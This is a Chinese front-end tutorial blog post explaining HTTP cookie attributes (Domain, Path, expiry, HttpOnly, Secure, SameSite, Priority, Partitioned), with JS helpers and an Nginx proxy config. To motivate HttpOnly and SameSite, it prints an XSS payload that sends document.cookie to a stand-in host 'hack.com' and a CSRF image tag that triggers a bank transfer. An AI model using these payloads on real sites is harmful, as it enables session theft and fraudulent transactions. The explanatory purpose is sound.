Cookies 完全指南

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所属分类:Web前端
摘要

我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。


我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。

本文作者:佳岚

前言

Cookie实际上是一小段的文本信息,它产生的原因是由于HTTP 协议是无状态的,所以需要通过 Cookie 来维持客户端与服务端之间的“会话状态”。如网络购物,能够在不同页面记录购物车信息,或者在网站不同页面共享登录状态。

Cookie 的基本结构包括:名字、值、各种属性

属性

一块 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多种属性,如

**HTTP**/1.1 200 **OK** Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly 

Domain 和 Path

DomainPath 属性定义了该 Cookie 的可被访问的范围,告诉浏览器该 Cookie 是属于哪一个网站的。在请求接口时,会根据 DomainPath 由浏览器决定是否要携带该 Cookie。因此,Domain 是有严格规范进行约束的,可以看成 Cookie 的第一道安全防线。
首先 Domain 设置时在 格式上 必须以 . 开头,且域必须还要包含一个 .  ,或者是完全以 ip 的形式写入,
比如说:

.baidu.com  ✅

192.168.3.5  ✅

.com

.168.3.5 ❌ 非法ip地址是无法写入的

www.baidu.com ❓ 是否合法

A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot.

虽然 RFC 中严格规定了 Domain 必须以 . 开头,但可能由于网站开发者经常忘记加上 . ,所以浏览器都会自动的在前面加上一个 .
比如说下面这种:

写入时

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查看时

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如果服务器未指定 Cookie 的 Domain,则它们默认为所请求资源的域。

比如 网站地址为 www.baidu.com  ,写入的Cookie响应头为Set-Cookie: b=2; Domain=;

则实际写入的 Cookie 为
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我们可以看到 bDomain变成了当前网站的域,且前面也没有带上.

区别

  • Domain 不带点时只有请求主机完全匹配时才会带上 Cookie,也就是仅 www.baidu.com 能访问
  • Domain 带点时所有子域都能访问到该 Cookie,如 baidu.comb.baidu.coma.b.baidu.com

主机匹配

如果请求主机与域名不匹配,则会被浏览器拒绝写入
当我在 www.a.com 网站写入了一条 www.b.com , 由于它们非同站会被浏览器拒绝写入

Domain 必须为当前域或者当前域的父域

  • 请求主机为www.baidu.com ,写入域为 .baidu.comwww.baidu.com
  • 请求主机为a.baidu.com ,写入域为 b.baidu.comc.a.baidu.com

再讲讲Path , PathDomain 相铺相成,Domain 决定 Cookie是否该被写入,而 Path 决定具体请求哪个路径时会被携带。

例如,设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/
  • /docs/Web/
  • /docs/Web/HTTP

但是这些请求路径不会匹配以下地址:

  • /
  • /docsets
  • /fr/docs

当为设置Path或者设置为空时,Path 会被设置为当前请求路径

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注意点:

  • 当请求地址不带末尾的/ 时,www.a.com:3000/a/b
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  • 当请求地址末尾带/ 时, www.a.com:3000/a/b/
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Cookie是由DomainPath 来区分的,因此不同的DomainPath 会被识别成不同的Cookie, 所以你可能会遇到多个同名的情况
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这些Cookie会同时在请求头中被传递给服务器端
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我们可以看到 发送给服务器端的 Cookie 只会携带 Cookie 的键与名,不会携带相关的 Domain 信息,因此服务器端是无法判断出该 Cookie 具体是哪个域携带的。但会有携带顺序的优先级问题,参见

所以当我们有多个子网站需要使用相同名字的Cookie时,可以使用不带点的全域名 作为写入Domain 或者指定具体的不同Path , 或者采用前缀来区分不同网站
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Expires 和 Max-Age

ExpiresMax-Age属性定义了 Cookie 的生命周期,也就是浏览器应删除 Cookie 的时间。在默认情况下Cookie 的生命周期是 Session 级别,即退出浏览器后自动过期。
Http Cache 类似, Expires 是以一个绝对GMT格式的时间的来指定过期时间,而 Max-Age 是以多少秒后过期。Max-Agehttp1.1 的产物,优先级比 Expires 要高,

  • 当Max-Age 设置大于0时,则会在设置的多少秒后过期
  • 当Max-Age 设置为0时,则会立即过期
  • 当Max-Age 设置为-1时,为Session级别

区别点:

  • Expires 是以GMT时间为单位,可能存在服务器与浏览器端时间不匹配的情况,导致不能精确控制时间到期时间。而Max-Age 则是以浏览器端接收到响应时开始计算时间的,以客户端为准
  • Max-Age 使用与计算过期时间更简单,而Expires 兼容性更好

了解了这4个属性,我们就可以先封装自己的 Cookie 操作工具了,
浏览器提供的document.cookie 为我们提供了对Cookie的操作方式

document.cookie 重新赋值即可新增该Cookie, 而不是替换掉整个Cookies
注意:如果需要替换某个Cookie, 必须保证DomainPath一致。其中 Cookie 内容只能包括 Ascii 码字符,所以需要经过一层编码。

setCookie(     name: string,     value: string,     days?: number,     domainStr?: string ){       let expires = '';       if (days) {           const date = new Date();           date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);           expires = '; expires=' + date.toUTCString();       }       let domain = '';       if (domainStr) {           domain = '; domain=' + domainStr;       }       document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';   }, 

只有将 Cookie 设为过期才会删除, 注意只有符合指定 domain 与 path 会被删除

deleteCookie(name: string, domain?: string, path?: string) {     const d = new Date(0);     const domainTemp = domain ? `; domain=${domain}` : '';     const pathTemp = path || '/';     document.cookie =         name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp; }, 

我们仅能通过document.cookie 查询到所有的键与值,无法查询其具体的属性,每个不同的Cookie通过 ; 分割
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function getCookie(cookieName) {   const strCookie = document.cookie   const cookieList = strCookie.split('; ')      for(let i = 0; i < cookieList.length; i++) {     const arr = cookieList[i].split('=')     if (cookieName === arr[0].trim()) {       return decodeURIComponent(arr[1]);     }   }      return '' } 

HttpOnly

HttpOnly 要求浏览器不要通过 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是说只能通过 Http 的响应头里进行Set-Cookie , 用户无法在 js 代码中去操作与读取该 Cookie。这个属性主要是用来缓解 XSS 攻击的。
我们可以看下面两个例子

反射型XSS窃取Cookie

反射型 XSS 攻击指攻击者在页面中插入恶意 JavaScript 脚本,该脚本随着 HTTP/HTTPS 请求数据一起发送给后端服务器,服务器对其进行响应,浏览器接收响应后将其解析渲染。恶意脚本的执行路径为“浏览器-服务器-浏览器”。浏览器中的恶意脚本发送到服务器,服务器直接对应资源返回浏览器中解析执行,整个过程类似于反射。

假设我们在百度上搜索内容,就会跳转以下页面。

https://www.baidu.com/search?input=searchText

之后返回的页面中会携带下面的内容

<p>以下是搜索{searchText}的所有结果</p>

这时我将searchText 改为如下的字符串

<img src="notfound.png" alt="Cookies 完全指南" onerror="location.href='http://hack.com/?cookie='+document.cookie'">

接着我再把整个链接进行转码或者转短链接化,发送给用户,用户点击后在 baidu 上的 Cookie 就会比自动发送到我们的 hack 服务器内。

存储型 XSS 窃取 Cookie

存储型 XSS 攻击指攻击者在服务器的数据库中插入恶意 JavaScript 脚本,当用户访问网站时,恶意脚本被发送到浏览器进行解析执行。

最经典的一个评论区案例

我在某网站的评论区直接输入一串JS代码

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如果前端与后端均没有对其进行过滤,那么该评论被写入到数据库中,所有访问该页面的用户信息都会被窃取。

但目前 XSS 攻击并没有那么容易成功,大部分前端框架 React、 Vue,都会自动对 HTML 内容进行转义后再输出到页面,比如:

<img src="empty.png" alt="Cookies 完全指南" onerror ="alert('xss')">

转义后输出到 html 中

&lt;img src=&quot;empty.png&quot; onerror =&quot;alert(&#x27;xss&#x27;)&quot;&gt;

相比之下,采用服务器端渲染的Web应用更容易被攻击,如jspphpexpress-art-tempalte

因此,采用HttpOnly来保护关键的用户Cookie 是能很大程度上防止Cookie被窃取,但并非完全杜绝。

Secure

Secure 属性是防止信息在传递的过程中被监听捕获造成信息泄漏。当 Secure 标志的值被设置为 true 时,表示创建的 Cookie 会被以安全的形式向服务器传输,即只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证,如果是 HTTP 连接则不会传递该信息,所以 Cookie 的具体内容不会被盗取,该属性只能在 HTTPS 站点下被设置。

SameSite

Same Site 直译过来就是同站,它和我们之前说的同域 Same Origin 是不同的。Cookie 遵守同站策略,而非同源策略,两者的区别主要在于判断的标准是不一样的。一个 URL 主要有以下几个部分组成:

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可以看到同域的判断比较严格,需要 protocol、 hostnameport 三部分完全一致。

相对而言,Cookie中的同站判断就比较宽松,主要是根据 Mozilla 维护的公共后缀表Pulic Suffix List)使用有效顶级域名(eTLD)+1的规则查找得到的一级域名是否相同来判断是否是同站请求, 此外,Cookie并不区分端口协议

域名可以分成顶级域名(一级域名)、二级域名、三级域名等等,如:

顶级域名:.com, .cn, .top, .xyz

二级:baidu.com, bilibili.com

三级域名:xx.baidu.com xx.bilibili.com

这很好理解,如果是github.io 这属于什么域名?

例如 比较https://tieba.baidu.comhttps://wenku.baidu.com 是否是同站。

根据上述的 有效顶级域名(eTLD)+1的规则查找得到的一级域名是否相同

.com是在 PSL 中记录的有效顶级域名,eTLD+1 后两者都是 baidu.com ,

所以 https://tieba.baidu.com 和 https://www.baidu.com是同站域名。

那我们再来比较下jackWang.github.iodtstack.github.io

其中 github.io  我们再PSL中能够找到

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因此github.io 是有效顶级域名 eTLDjackWang.github.iodtstack.github.io 分别是eTLD+1 , 它们不相等,所以是跨站的。由于github.io 是顶级域名,当domain设置为  .github.io 由于非法,并不会设置成功,也因此不同github page是不共享Cookie的。

eTLD

eTLD 的全称是 effective Top-Level Domain,它与我们往常理解的 Top-Level Domain 顶级域名有所区别。eTLD 记录在之前提到的 PSL 文件中。而 TLD(真正的顶级域名) 也有一个记录的列表,那就是 Root Zone Database
eTLD 的出现主要是为了解决 .com.cn、 .com.hk、 .co.jp 这种看起来像是二级域名的但其实需要作为顶级域名存在的场景。
回到 SameSite 这个属性本身上,它有三个取值

  • None
  • Lax  默认值
  • Strict

None

在 Chrome80 版本以前,Same-Site 的默认值是None , 该属性值表示不做任何限制,允许第三方Cookie 。啥是第三方Cookie ?根据上面同站的判断规则,如果是同站的,就称为第一方 ,跨站的就为第三方

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那么什么时候我的网站会出现第三方CookieCookie Domain不是只能设置自身域内吗 ?
首先Set-Cookie时的Domain校验是根据请求的主机,而不是当前导航栏 URL 的地址来判定的

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当我请求一个跨域请求,或者通过img标签引入一个外域的图片时等等,如果请求响应设置了Cookie或者携带了第三方Cookie, 那么都会在Devtools中展示,只有当通过document.cookie访问时访问到的都为第一方Cookie

当我在www.aliyun.com 设置了如下 Cookie:  a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None

当我访问www.taobao.com时, 里面引用了一张aliyun.com的图片
当我将SameSite设为None时,请求这张图片时才会带上我们在www.aliyun.com 下写入的Cookie a

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仅携带为NoneCookie

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Lax

Lax会对一部分第三方Cookie进行限制发送,我们知道互联网广告通过在固定域 Cookie 下标记用户 ID,记录用户的行为从何达到精准推荐的目的。随着全球隐私问题的整治,在 Chrome 80 中浏览器将默认的 SameSite 规则从 SameSite=None 修改为 SameSite=Lax。设置成 SameSite=Lax 之后页面内所有跨站情况下的资源请求都不会携带 Cookie。

具体规则:

类型 例子 是否发送
a链接 发送
预加载 发送
GET 表单 发送
POST 表单 不发送
iframe 不发送
AJAX axios.post fetch 不发送
图片 Cookies 完全指南 不发送

对用户来说这肯定是一件好事,避免了自身被攻击。但是对我们技术同学来说,这无疑是给我们设置的一个障碍。因为业务也确实会存在着多个域名的情况,并且需要在这些域名中进行 Cookie 传递。

这个修改影响面广泛,需要网站维护者花大量的时间去修改适配。

针对因为此次特性受到影响的网站,可以选择以下一些适配办法:

  1. 降级浏览器版本至80以下;基本只能用作临时解决方案
  2. 浏览器默认配置修改,91版本以下进入chrome://flagssame-site-by-default-cookies设为disabled , 94版本以下需改动启动项才行
  3. 将站点都放到同一二级域名下面,即让他们保持同站
    会使用两个不同的站点业务耦合,仅特定场景下可以考虑,比如通过 iframe 嵌入单点登录页面 ,单点登录页面仅会在iframe中使用,没有人会单独去访问这个网站,则可以考虑修改单点登录页面的域名。
  4. 为所有 Cookie 增加 SameSite=None;Secure 属性
    需要改动所有前后端设置 Cookie 的地方,改动量巨大,其次None 必须与Secure 配套使用,而Secure 意味着必须配备 HTTPS
  5. 通过 Nginx 反向代理我们的跨站网站, 使它们变成同站。
    比如我在www.baidu.com 下通过 iframe 嵌套了www.bilibili.com , 它们跨站了,在 bilibili 中的Set-Cookie 将会被拒绝掉。
    这时我在 Nginx上开启一个代理服务,将域名 bilibili.baidu.com 代理转发至 www.bilibili.com

需要注意: 要通过 Nginx 进行 Cookie 转发

server {   listen       80;   server_name  bilibili.baidu.com;    location / {     proxy_hide_header X-Frame-Options;     # 用于cookie代理     proxy_cookie_domain www.baidu.com  bilibili.baidu.com;     # 代理到真实地址     proxy_pass http://www.baidu.com;   } } 

Strict

Strict 最为严格,它完全拒绝第三方站点,实际运用场景并不多,当某些 Cookie 被设为Strict后,可能会影响到用户的体验。比如我在baidu.com 中用a标签 链接到bilibili ,而bilibilitoken如果是Strict的话,那我跳转过去就会丢失登录状态。

SameSite 的作用主要有两点:

  1. 进行隐私保护,
  2. 能够有效防御CSRF攻击

比如我在自己的黑客网站放入一张图片,里面的链接指向会将 qiming 的钱转给 jialan, 诱导用户进入我的网站,由于第三方 Cookie 的存在,用户的登录态是存在的(之前登录过该银行的话),钱就会自动转入我的账户。如果设置了LaxStrict , 则能避免这种问题。
<img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" />

Cookie大小与数量

每一个 Cookie 的大小一般为4KB, 不同浏览器上不同,Chrome 实测下来为4096个字节,其计算是name + value的字符串长度,当超过大小时设置不会成功

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实测下来每个域下面最多为175个,当超出最大限制时,会移除旧的 Cookie

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但我如何控制哪些 Cookie 在超出限制时不应该被删除?
Cookie还有个 Priority 属性用来表示优先级
有以下取值:

  • Low
  • Medium 默认值
  • High

那自动删除时将按下面顺序进行删除

  1. 优先级为 Low的非 secure Cookie
  2. 优先级为 Low的 secure Cookie
  3. 优先级为 Medium的非 secure Cookie
  4. 优先级为 Medium的 secure Cookie
  5. 优先级为 High的非 secure Cookie
  6. 优先级为 High的 secure Cookie

未来发展

Cookie 在未来的很长一段时间都是不可或缺的,即使目前已经有了 jwt 等替代方案。 像国外的 Cookie 隐私法在一步步限制着 Cookie 的权利,访问站点时使用第三方 Cookie 都必须争得用户的同意。

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未来的SameParty属性

SameSite=Lax/Strict  断了我们跨站传递 Cookie 的念想,但实际业务上确实有这种场景。然而 Chrome 是计划在2024年完全禁用第三方Cookie ,那完全禁用后,为了能够满足实际的业务需求,Chrome 又推出了SameParty属性。

该提案提出了 SameParty 新的 Cookie 属性,当标记了这个属性的 Cookie 可以在同一个主域下进行共享。那如何定义不同的域名属于同一主域呢?主要是依赖了另外一个特性 first-party-set 第一方集合。它规定在每个域名下的该 URL /.well-known/first-party-set 可以返回一个第一方域名的配置文件。在这个文件中你可以定义当前域名从属于哪个第一方域名,该第一方域名下有哪些成员域名等配置。

// https://a.example/.well-known/first-party-set {   "owner": "a.example",   "members": ["b.example", "c.example"],   ... }  // https://b.example/.well-known/first-party-set { 	"owner": "a.example" }  // https://c.example/.well-known/first-party-set { 	"owner": "a.example" } 

当然使用固定 URL 会产生额外的请求,对页面的响应造成影响。也可以直接使用 Sec-First-Party-Set 响应头直接指定归属的第一方域名。

该属性还未正式支持,此处只做简略说明,详细资料

Partitioned属性

这个属性我们可能很少注意到,一般称为Cookies Having Independent Partitioned State (CHIPS)

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它的作用是使 第三方Cookie第一方站点 相绑定

我们举个例子:

我在 https://site-a.example 里,里面请求了 https://3rd-party.example 这个站点的资源, 而 https://3rd-party.example 写入了一个 Cookie ,那它属于 第三方COokie

当我访问 https://site-b.example 时,也请求了 https://3rd-party.example 的资源,这时浏览器会把在 https://site-a.example 中写入的第三方 Cookie 也给带上。

这是正常情况,原因是 Cookie 在会以写入它们的主机或者域名作为 Key 去存储,比如上面就是 [”https://3rd-party.example”],  我们并不知道它的创建上下文域名是啥。

当我开启 Partitioned 时,Cookie 存储时,还会记录创建它的上下文 eTLD + 1 作为额外的 Partiotion Key , 变成 [”https://3rd-party.example”, "https://site-a.example"]

当我访问 https://site-a.example  是因为匹配上了 Partition Key , 所以能够带上 第三方 Cookie , 访问 https://site-b.example 时则不会带上 第三方 Cookie 。这样其实主要是限制了第三方 Cookie 的跟踪。

参考

https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/frontend_nian/article/details/124221944
https://blog.csdn.net/weixin_40906515/article/details/120030218
https://datatracker.ietf.org/doc/html/rfc6265#section-3.1
https://zhuanlan.zhihu.com/p/50541175
https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies#cross-site_tracking_in_a_nutshell


最后

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